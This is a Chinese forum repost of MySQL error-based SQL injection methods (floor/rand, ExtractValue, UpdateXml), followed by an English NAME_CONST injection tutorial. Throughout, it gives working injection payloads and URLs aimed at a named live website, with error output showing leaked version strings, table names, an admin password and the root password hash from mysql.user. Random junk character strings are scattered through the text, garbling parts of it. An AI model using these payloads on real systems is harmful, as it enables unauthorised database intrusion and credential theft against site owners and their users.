mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
) k0 p/ x1 x* a. @8 Z) k| id | title | content |
, }7 z) w$ o# V3 u+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
2 {9 p7 q  ?9 z例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
1 Y  Q' l' V/ PERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
  N3 [, L) H  P) H. X% E测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
+ Q, _; d7 C) J5 OERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

5 P6 J8 x4 X$ o/ k4 j3 T

再收集：

http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

, M" V; V/ j7 k. KErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
9 v2 e1 _- q3 Y7 w- o+ I7 k4 ]
) ?! U/ i5 s/ `; U, f- Z8 _http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
# R. {: `$ }. ^% U3 _2 {% D
Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′
  o# f. [6 q: R3 l) Y2 a
MYSQL高版本报错注入技巧-利用NAME_CONST注入
9 u& u- ]0 @& NIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


- T+ ^, ]: ?1 F) V, E; J相关信息
9 R3 X& k- E* a% v" X4 J
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

. V8 ^* m* K1 ZCode:
NAME_CONST(DATA, VALUE)

Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
; x' r5 c$ Z; R  E/ x8 e
SELECT NAME_CONST('TEST', 1)



' m6 ~5 X5 X3 Y( W% O. v|---------------|
0 k9 \- Y5 P( c, K+ Z7 M|     TEST      |
& Q" m; V( ^' O, u/ O/ k4 u+ l|               |
4 s# }" O9 k( {, C% o8 l+ V|---------------|
& a, r: M8 ~% X6 e& a3 D- G|       1       |
0 c. }" Q1 `. V|               |
* Z0 \# V6 l5 I3 t9 x# F1 Z& C|---------------|
4 Z. m8 L% n, h' I  [+ F/ Z/ S- M
2 v' t4 U9 [5 `) c5 U! h! `

) k! j" f% c5 P5 a1 D& B
# ~8 X3 t5 I/ b* `4 Y+ [2 \http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
: @4 F+ w2 g- t" E2 x
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.

9 ?' ?  z4 v! z0 E( ^  yCode:
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
/ f' T. e' S6 ]+ e1 A6 H
) s# ^2 a" N5 C0 \
0 K0 c" u8 H5 X; J
4 @+ Z3 r) r* P+ r

4 L* r0 C" C1 \$ ZCode:
) T( \6 `* p$ }  U1 o9 M% Sand+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--


- X  v; K( m. wVAR = Your MySQL variable.

1 y/ r, Q' G% B/ s5 Y: GMySQL 5.1.3 Server System Variables

Let's try it out on my site..
; i1 y8 ~% x# g- ?6 `6 D
Code:
6 B% `) h$ p+ k- L3 Mhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

Erroruplicate column name '5.0.27-community-nt'
# Q1 o) N( y% w7 {. Q+ A3 G( \5 S
5 i4 i: _! |# u9 t9 T/ _3 x

  e( Z$ ^7 n& A

Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

Data Extraction
# h/ P4 M& |1 ?- X5 `5 F# v
Code:
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
* ~* e; d6 V; y/ K& T- ^
) p2 j& k+ P( _/ c9 _# b
! j5 P1 j( I( @+ |. U  p7 EWe should get a duplicate column 1 error...
( M* n! A' p* x$ Q, \1 [3 s  ?1 j' K
Code:
- v( v9 ^" d: F& khttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

% K/ q( i+ w9 o( [1 BErroruplicate column name '1
- B- b) w) R6 ^! U7 N


0 q. a; {1 L! _6 t) J

! c3 x8 P. B* u3 L. C$ Z
Now let's get the tables out this bitch..

Code:
& y4 d$ O, ^! U( X* ~+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
0 q" U" N! N+ U( @( q! @

9 s% |: ~) k6 U! Q# y+ ^- XLet's see if it works here, if it does, we can go on and finish the job.

) e; J; V/ m# \Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


( r- c3 {$ y, GErroruplicate column name 'com_admanage
0 E& f$ V) U% o: U

% w# \0 t- F: ?0 ~1 k



0 Y3 x6 H* J% nNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.

Let's get the columns out of the user table..
5 F+ c  U8 I( Y
Code:
) H2 B& Y8 p* d5 A$ K+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
0 d% r# R3 P, }. a7 p
3 u7 Z5 N. `, h9 i' P9 j3 @0 q; K9 }
So mine looks like this, and I get the duplicate column name 'Host'.
6 C( W1 V" Q% `1 ?
- Z: G" A  k$ j/ R9 o7 {& QCode:
: h9 f( q4 s% D  P  j2 V# c, ]. c/ Yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'
" a/ J" x" ]0 j6 ~

; B- s# u( v- z/ b* f
. A0 o9 {: \6 H% G# D. E% X( z

* n/ ]( i: k: \6 r+ j3 [7 U/ O
Woot, time to finish this bitch off.
/ F' i1 @* K% ^6 T4 }1 A
Code:
* c: [/ v" P) E6 _3 F4 v% p+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--

$ |3 e8 `! d  E+ q  X" k
So mine looks like this...

Code:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
: s* H/ k+ `3 \! J( i2 Q  t
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'


: ^' a& [& i8 @* _# u

9 w" `/ M( ?" U8 x5 Q& o. Q

And there we have it, thanks for reading.

3 {4 v% k6 B; r1 R8 Z" a" W